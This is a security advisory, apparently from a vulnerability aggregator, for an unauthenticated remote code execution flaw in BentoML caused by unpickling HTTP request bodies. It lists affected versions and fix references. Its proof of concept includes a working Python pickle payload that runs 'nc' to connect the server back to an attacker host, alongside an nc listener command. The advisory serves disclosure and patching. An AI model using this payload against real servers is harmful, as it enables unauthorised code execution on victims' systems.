BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Timeline
- 4 Apr 2025Exploit code publicMetasploit
- 4 Apr 2025, 14:28 UTCPublishedCVE List
Public exploit code and templates 1
- Exploit moduleBentoML RCE 4 Apr 2025Metasploit
Listed so defenders can prioritize. Threatline links to the source and does not host exploit code.
Description
Summary
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.
Details
It exists an unsafe code segment in serde.py:
def deserialize_value(self, payload: Payload) -> t.Any:
if "buffer-lengths" not in payload.metadata:
return pickle.loads(b"".join(payload.data))Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.
PoC
Environment:
- Server host:
- IP: 10.98.36.123
- OS: Ubuntu
- Attack host:
- IP: 10.98.36.121
- OS: Ubuntu
- Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.
1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml
1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :
from __future__ import annotations
import bentoml
@bentoml.service(
resources={"cpu": "4"}
)
class Summarization:
def __init__(self) -> None:
import torch
from transformers import pipeline
device = "cuda" if torch.cuda.is_available() else "cpu"
self.pipeline = pipeline('summarization', device=device)
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
results = self.pipeline(texts)
return [item['summary_text'] for item in results]1.3 Run the service code (Server host: 10.98.36.123) :
pip install torch transformers # additional dependencies for local run bentoml serve
- Start nc listening on the attacking host (Attack host: 10.98.36.121) :
nc -lvvp 1234
- Send maliciously crafted request (Attack host: 10.98.36.121) :
import pickle
import os
import requests
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
class Evil:
def __reduce__(self):
return(os.system, ('nc 10.98.36.121 1234',))
payload = pickle.dumps(Evil())
requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)- Attack success (Attack host: 10.98.36.121) :
The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. !nc
Impact
Remote Code Execution (RCE).
Text from GitHub Advisory Database
Affected versions 27
- bentoml, pip>= 1.3.4, < 1.4.3GitHub
- BentoMLaffected: >= 1.3.4, < 1.4.3CVE List
- bentoml, PyPIfrom 1.3.4, fixed in 1.4.3OSV
- bentoml, PyPI1.3.10OSV
- bentoml, PyPI1.3.11OSV
- bentoml, PyPI1.3.12OSV
- bentoml, PyPI1.3.13OSV
- bentoml, PyPI1.3.14OSV
- bentoml, PyPI1.3.15OSV
- bentoml, PyPI1.3.16OSV
- bentoml, PyPI1.3.17OSV
- bentoml, PyPI1.3.18OSV
- bentoml, PyPI1.3.19OSV
- bentoml, PyPI1.3.20OSV
- bentoml, PyPI1.3.21OSV
- bentoml, PyPI1.3.22OSV
- bentoml, PyPI1.3.4.post1OSV
- bentoml, PyPI1.3.5OSV
- bentoml, PyPI1.3.6OSV
- bentoml, PyPI1.3.7OSV
- bentoml, PyPI1.3.8OSV
- bentoml, PyPI1.3.9OSV
- bentoml, PyPI1.4.0OSV
- bentoml, PyPI1.4.0a1OSV
- bentoml, PyPI1.4.0a2OSV
- bentoml, PyPI1.4.1OSV
- bentoml, PyPI1.4.2OSV
References 6
- github.com/bentoml/BentoML/commit/b35f4f4fcc53a8c3fe8ed9c18a013fe0a728e194Fixvia CVE List
- github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-294.yamlAdvisoryvia GitHub
- github.com/advisories/GHSA-33xw-247w-6hmcAdvisoryvia GitHub
- github.com/bentoml/BentoML/security/advisories/GHSA-33xw-247w-6hmcExploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2025-27520Referencevia GitHub
- pypi.org/project/bentomlReferencevia GitHub